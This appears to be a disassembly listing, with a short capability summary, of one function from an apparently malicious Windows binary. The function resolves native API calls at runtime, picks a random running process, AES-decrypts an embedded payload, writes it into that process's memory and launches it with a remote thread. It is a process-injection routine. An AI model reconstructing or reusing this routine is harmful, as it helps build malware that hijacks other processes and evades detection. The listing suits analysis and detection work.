Function at 0x4016fd
Capabilities:
Enumerate process modules
Link many functions at runtime

Disassembly:
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x80]
call sym.__main
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
mov eax, dword [0x00404250]
lea rdx, [0x0040a910]
mov r8, rdx
mov edx, eax
lea rax, [0x004089c0]
mov rcx, rax
call sym.EnumProcesses
test eax, eax
jne 0x401753
mov eax, 1
jmp 0x401a73
lea rax, [0x0040a910]
mov eax, dword [rax]
shr eax, 2
mov dword [rbp + 0x58], eax
lea rcx, str.NTDLL
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov rdx, rax
lea rax, [0x0040a918]
mov qword [rax], rdx
lea rax, [0x0040a918]
mov rax, qword [rax]
test rax, rax
jne 0x401798
mov eax, 1
jmp 0x401a73
lea rax, [0x0040a918]
mov rax, qword [rax]
lea rdx, str.NtOpenProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x50], rax
lea rax, [0x0040a918]
mov rax, qword [rax]
lea rdx, str.NtCreateThreadEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x48], rax
lea rax, [0x0040a918]
mov rax, qword [rax]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x40], rax
lea rax, [0x0040a918]
mov rax, qword [rax]
lea rdx, str.NtWriteVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x38], rax
lea rax, [0x0040a918]
mov rax, qword [rax]
lea rdx, str.NtProtectVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x30], rax
lea rax, [0x0040a918]
mov rax, qword [rax]
lea rdx, str.NtClose
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x28], rax
lea rdx, [rbp - 0x10]
mov eax, 0
mov ecx, 6
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x10], 0x30
mov byte [rbp + 0x5f], 0
jmp 0x4018f7
mov eax, dword [rbp + 0x58]
mov edx, eax
lea rax, [0x004089c0]
mov rcx, rax
call sym.GetRandomPID
mov edx, eax
lea rax, [0x004089a0]
mov dword [rax], edx
lea rax, [0x004089a0]
mov eax, dword [rax]
mov eax, eax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 0
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x10]
mov r10, qword [rbp + 0x50]
mov r9, rdx
mov r8, rax
mov edx, 0x1f0fff
lea rax, [0x0040a908]
mov rcx, rax
call r10
mov edx, eax
lea rax, [0x0040a900]
mov dword [rax], edx
lea rax, [0x0040a900]
mov eax, dword [rax]
test eax, eax
je 0x4018f3
jmp 0x4018f7
mov byte [rbp + 0x5f], 1
movzx eax, byte [rbp + 0x5f]
xor eax, 1
test al, al
jne 0x40187f
lea rax, [0x0040a908]
mov rcx, qword [rax]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
mov rax, qword [rbp + 0x40]
lea r9, [0x00404240]
mov r8d, 0
lea rdx, [0x00408038]
call rax
mov edx, eax
lea rax, [0x0040a900]
mov dword [rax], edx
lea rax, [0x0040a900]
mov eax, dword [rax]
test eax, eax
je 0x40195c
mov eax, 1
jmp 0x401a73
mov rax, qword [0x00404240]
mov r9d, 0x10
lea r8, [0x00404020]
mov edx, eax
lea rcx, [0x00404040]
call sym.AESDecrypt
mov rdx, qword [0x00408038]
lea rax, [0x0040a908]
mov rcx, qword [rax]
lea rax, [0x00408030]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x38]
mov r9d, 0x200
lea r8, [0x00404040]
call rax
mov edx, eax
lea rax, [0x0040a900]
mov dword [rax], edx
lea rax, [0x0040a900]
mov eax, dword [rax]
test eax, eax
je 0x4019d0
mov eax, 1
jmp 0x401a73
mov rcx, qword [0x00408038]
lea rax, [0x0040a908]
mov r8, qword [rax]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rcx
mov rax, qword [rbp + 0x48]
mov r9, r8
mov r8, rdx
mov edx, 0x1f03ff
lea rcx, [0x00404248]
call rax
mov edx, eax
lea rax, [0x0040a900]
mov dword [rax], edx
lea rax, [0x0040a900]
mov eax, dword [rax]
test eax, eax
je 0x401a56
mov eax, 1
jmp 0x401a73
mov rax, qword [0x00404248]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0xe8
pop rdi
pop rbp
ret